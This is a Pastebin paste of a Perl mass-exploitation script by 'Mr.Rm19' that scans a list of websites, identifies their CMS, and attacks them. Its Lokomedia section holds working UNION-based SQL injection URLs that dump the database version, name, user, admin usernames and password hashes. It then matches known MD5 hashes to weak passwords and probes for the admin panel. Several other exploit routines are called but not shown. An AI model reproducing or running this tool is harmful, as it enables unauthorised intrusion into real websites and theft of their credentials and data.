Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- #Coded By Mr.Rm19
- #don't Change my Rights
- #Jangan di edit nama lu bangsat gua cape buat tools ini selama 4 hari anjing hargain gua,gua hack juga lu
- #paste here
- use Getopt::Long;
- use HTTP::Request;
- use LWP::UserAgent;
- use IO::Select;
- use HTTP::Cookies;
- use HTTP::Response;
- use Term::ANSIColor;
- use HTTP::Request::Common qw(POST);
- use HTTP::Request::Common qw(GET);
- use URI::URL;
- use IO::Socket::INET;
- my $ua = LWP::UserAgent->new;
- $ua->timeout(10);
- my $datetime = localtime;
- @months = qw(01 02 03 04 05 06 07 08 09 10 11 12);
- ($second, $minute, $hour, $dayOfMonth, $month, $yearOffset, $dayOfWeek, $dayOfYear, $daylightSavings) = localtime();
- $year = 1900 + $yearOffset;
- $month = "$months[$month] ";
- sub banner() {
- system("title Mr.Rm19");
- if ($^O =~ /MSWin32/) {system("cls"); }else { system("clear"); }
- print color('bold green');
- print q(
- .o oOOOOOOOo OOOo
- Ob.OOOOOOOo OOOo. oOOo. .adOOOOOOO
- OboO"""""""""""".OOo. .oOOOOOo. OOOo.oOOOOOo.."""""""""'OO
- OOP.oOOOOOOOOOOO "POOOOOOOOOOOo. `"OOOOOOOOOP,OOOOOOOOOOOB'
- `O'OOOO' `OOOOo"OOOOOOOOOOO` .adOOOOOOOOO"oOOO' `OOOOo
- .OOOO' `OOOOOOOOOOOOOOOOOOOOOOOOOO' `OO
- OOOOO '"OOOOOOOOOOOOOOOO"` oOO
- oOOOOOba. .adOOOOOOOOOOba .adOOOOo.
- oOOOOOOOOOOOOOba. .adOOOOOOOOOO@^OOOOOOOba. .adOOOOOOOOOOOO
- OOOOOOOOOOOOOOOOO.OOOOOOOOOOOOOO"` '"OOOOOOOOOOOOO.OOOOOOOOOOOOOO
- "OOOO" "YOoOOOOMOIONODOO"` . '"OOROAOPOEOOOoOY" "OOO"
- );
- print color('reset');
- print " ";
- print colored ("[ Mr.Rm19 ]",'white on_red');
- print colored ("[ Coded By Mr.Rm19 ]\n",'white on_red');
- print " ";
- print colored ("[ Start At $datetime ]",'white on_red'),"\n\n";
- }
- banner();
- GetOptions(
- "l|list=s" => \$list,
- );
- unless ($list) { help(); }
- sub help {
- print color('bold red')," [";
- print color('bold green'),"+";
- print color('bold red'),"] ";
- print color("bold white"),"You Have List Of Sites ?\n\n";
- print color('bold red')," [";
- print color('bold green'),"1";
- print color('bold red'),"] ";
- print color("bold white"),"Yes\n";
- print color('bold red')," [";
- print color('bold green'),"2";
- print color('bold red'),"] ";
- print color("bold white"),"No\n";
- print color('bold red')," [";
- print color('bold green'),"-";
- print color('bold red'),"] ";
- print color("bold white"),"Choose : ";
- $number=<STDIN>;
- chomp $number;}
- if($number eq '1')
- {
- print color('bold red')," [";
- print color('bold green'),"+";
- print color('bold red'),"] ";
- print color("bold white"),"Path your websites list : ";
- $list= "list.txt";
- chomp $list;
- system("perl tes.pl $list");
- }
- if($number eq '2')
- {
- $list= "list.txt";
- system("perl dork.pl");
- }
- $tmp="tmp";
- if (-e $tmp)
- {
- }
- else
- {
- mkdir $tmp or die "Error creating directory: $tmp";
- }
- $rez="Result";
- if (-e $rez)
- {
- }
- else
- {
- mkdir $rez or die "Error creating directory: $rez";
- }
- $a = 0;
- open (THETARGET, "<$list") || die "[-] Can't open the list websites file";
- @TARGETS = <THETARGET>;
- close THETARGET;
- $link=$#TARGETS + 1;
- banner();
- print color("bold white"), "[+] Total sites : ";
- print color("bold red"), "".scalar(@TARGETS)."\n\n";
- print color('reset');
- OUTER: foreach $site(@TARGETS){
- chomp($site);
- $a++;
- cms();
- }
- sub cms(){
- $ua = LWP::UserAgent->new(keep_alive => 1);
- $ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
- $ua->timeout (15);
- $lokomedia = "$site/smiley/bogor6etar.jpg";
- my $lokomediacms = $ua->get("$lokomedia")->content_type;
- $loko = "$site/rss.xml";
- my $lokomediacmstow = $ua->get("$loko")->content;
- my $cms = $ua->get("$site")->content;
- if($cms =~/<script type=\"text\/javascript\" src=\"\/media\/system\/js\/mootools.js\"><\/script>| \/media\/system\/js\/|com_content|Joomla!/) {
- print color('bold white'),"\n[$a] $site - ";
- print color("bold green"), "Joomla\n\n";
- print color('reset');
- open(save, '>>tmp/joomla.txt');
- print save "$site\n";
- close(save);
- comjce();
- comedia();
- comjdownloads();
- comfabrik();
- foxcontact();
- comadsmanager();
- comblog();
- comusers();
- comweblinks();
- mod_simplefileupload();
- }
- elsif($cms =~/wp-content|wordpress|xmlrpc.php/) {
- print color('bold white'),"\n[$a] $site - ";
- print color("bold green"), "WordPress\n\n";
- print color('reset');
- open(save, '>>tmp/Wordpress.txt');
- print save "$site\n";
- close(save);
- }
- elsif($cms =~/Drupal|drupal|sites\/all|drupal.org/) {
- print color('bold white'),"\n[$a] $site - ";
- print color("bold green"), "DruPal\n\n";
- print color('reset');
- open(save, '>>tmp/drupal.txt');
- print save "$site\n";
- close(save);
- drupal();
- }
- elsif($cms =~/Prestashop|prestashop/) {
- print color('bold white'),"\n[$a] $site - ";
- print color("bold green"), "Prestashop\n\n";
- print color('reset');
- open(save, '>>tmp/Prestashop.txt');
- print save "$site\n";
- close(save);
- columnadverts();
- }
- elsif($lokomediacms =~/image\/gif/) {
- print color('bold white'),"\n[$a] $site - ";
- print color("bold green"), "Lokomedia\n\n";
- print color('reset');
- open(save, '>>tmp/lokomedia.txt');
- print save "$site\n";
- close(save);
- lokomedia();
- }
- elsif($lokomediacmstow =~/lokomedia/) {
- print color('bold white'),"\n[$a] $site - ";
- print color("bold green"), "Lokomedia\n\n";
- print color('reset');
- open(save, '>>tmp/lokomedia.txt');
- print save "$site\n";
- close(save);
- lokomedia();
- }
- else{
- print color('bold white'),"\n[$a] $site - ";
- print color("bold green"), "Unknown\n\n";
- open(save, '>>tmp/Unknown.txt');
- print color('reset');
- print save "$site\n";
- close(save);
- }
- }
- ################ lokomedia #####################
- sub lokomedia(){
- $lokoversion = "$site/statis--7'union select /*!50000Concat*/(Version())+from+users--+--+kantordesa.html";
- $lokodatabase = "$site/statis--7'union select /*!50000Concat*/(Database())+from+users--+--+kantordesa.html";
- $lokouserdata = "$site/statis--7'union select /*!50000Concat*/(USER())+from+users--+--+kantordesa.html";
- $lokouser = "$site/statis--7'union select /*!50000Concat*/(username)+from+users--+--+kantordesa.html";
- $lokopass = "$site/statis--7'union select /*!50000Concat*/(password)+from+users--+--+kantordesa.html";
- my $checklokoversion = $ua->get("$lokoversion")->content;
- if($checklokoversion =~/<meta name="description" content="(.*)">/) {
- $dbv=$1;
- if($dbv =~ /[a-z]/){
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white')," MySQL Version : $dbv\n";
- open (TEXT, '>>Result/database.txt');
- print TEXT "\n[ DATABASE ]\n";
- print TEXT "$site";
- print TEXT "\nMySQL Version : $dbv";
- close (TEXT);
- my $checklokodatabase = $ua->get("$lokodatabase")->content;
- if($checklokodatabase =~/<meta name="description" content="(.*)">/) {
- $db=$1;
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white')," Current Database : $db\n";
- open (TEXT, '>>Result/databases.txt');
- print TEXT "\nCurrent Database : $db";
- close (TEXT);
- }
- my $checklokouserdata = $ua->get("$lokouserdata")->content;
- if($checklokouserdata =~/<meta name="description" content="(.*)">/) {
- $udb=$1;
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white')," Current Username : $udb\n";
- }
- my $checklokouser = $ua->get("$lokouser")->content;
- if($checklokouser =~/<meta name="description" content="(.*)">/) {
- $user=$1;
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white')," Username : $user\n";
- open (TEXT, '>>Result/databases.txt');
- print TEXT "\nUsername : $user";
- close (TEXT);
- }
- my $checklokopass = $ua->get("$lokopass")->content;
- if($checklokopass =~/<meta name="description" content="(.*)">/) {
- $hash=$1;
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white')," Hash Pass : $hash\n";
- open (TEXT, '>>Result/databases.txt');
- print TEXT "\nHash Pass : $hash";
- close (TEXT);
- lokohash();
- lokopanel();
- }
- }
- }
- }
- sub lokohash(){
- if ($hash =~ /a66abb5684c45962d887564f08346e8d/){
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white'),"Cracking Hash : ";
- print color('bold green'),"Found!";
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white'),"Password : admin123456\n";
- open (TEXT, '>>Result/databases.txt');
- print TEXT "\nPassword : admin123456";
- close (TEXT);
- }
- elsif ($hash =~ /0192023a7bbd73250516f069df18b500/){
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white'),"Cracking Hash : ";
- print color('bold green'),"Found!";
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white'),"Password : admin123\n";
- open (TEXT, '>>Result/databases.txt');
- print TEXT "\nPassword : admin123";
- close (TEXT);
- }
- elsif ($hash =~ /73acd9a5972130b75066c82595a1fae3/){
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white'),"Cracking Hash : ";
- print color('bold green'),"Found!";
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white'),"Password : ADMIN\n";
- open (TEXT, '>>Result/databases.txt');
- print TEXT "\nPassword : ADMIN";
- close (TEXT);
- }
- elsif ($hash =~ /7b7bc2512ee1fedcd76bdc68926d4f7b/){
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white'),"Cracking Hash : ";
- print color('bold green'),"Found!";
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white'),"Password : Administrator\n";
- open (TEXT, '>>Result/databases.txt');
- print TEXT "\nPassword : Administrator";
- close (TEXT);
- }
- elsif ($hash =~ /c21f969b5f03d33d43e04f8f136e7682/){
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white'),"Cracking Hash : ";
- print color('bold green'),"Found!";
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white'),"Password : default\n";
- open (TEXT, '>>Result/databases.txt');
- print TEXT "\nPassword : default";
- close (TEXT);
- }
- elsif ($hash =~ /1a1dc91c907325c69271ddf0c944bc72/){
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white'),"Cracking Hash : ";
- print color('bold green'),"Found!";
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white'),"Password : pass\n";
- open (TEXT, '>>Result/databases.txt');
- print TEXT "\nPassword : pass";
- close (TEXT);
- }
- elsif ($hash =~ /5f4dcc3b5aa765d61d8327deb882cf99/){
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white'),"Cracking Hash : ";
- print color('bold green'),"Found!";
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white'),"Password : password\n";
- open (TEXT, '>>Result/databases.txt');
- print TEXT "\nPassword : password";
- close (TEXT);
- }
- elsif ($hash =~ /098f6bcd4621d373cade4e832627b4f6/){
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white'),"Cracking Hash : ";
- print color('bold green'),"Found!";
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white'),"Password : test\n";
- open (TEXT, '>>Result/databases.txt');
- print TEXT "\nPassword : test";
- close (TEXT);
- }
- elsif ($hash =~ /21232f297a57a5a743894a0e4a801fc3/){
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white'),"Cracking Hash : ";
- print color('bold green'),"Found!";
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white'),"Password : admin\n";
- open (TEXT, '>>Result/databases.txt');
- print TEXT "\nPassword : admin";
- close (TEXT);
- }
- elsif ($hash =~ /fe01ce2a7fbac8fafaed7c982a04e229/){
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white'),"Cracking Hash : ";
- print color('bold green'),"Found!\n";
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white'),"Password : demo\n";
- open (TEXT, '>>Result/databases.txt');
- print TEXT "\nPassword : demo";
- close (TEXT);
- }
- else{
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white'),"Password : ";
- print color('bold red'),"NOt FOUND\n";
- }
- }
- sub lokopanel(){
- $ua = LWP::UserAgent->new();
- $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
- $ua->timeout(15);
- $pathone = "$site/redaktur";
- my $lokomediacms = $ua->get("$pathone")->content;
- if($lokomediapathone =~/administrator|username|password/) {
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white'),"Admin Panel : ";
- print color('bold green'),"Found!\n";
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white'),"URL : $pathone\n";
- open (TEXT, '>>Result/databases.txt');
- print TEXT "\nURL : $pathone";
- close (TEXT);
- }
- else{
- print color('bold green')," [";
- print color('bold red'),"+";
- print color('bold green'),"] ";
- print color('bold white'),"Admin Panel : ";
- print color('bold red'),"NOt FOUND\n";
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement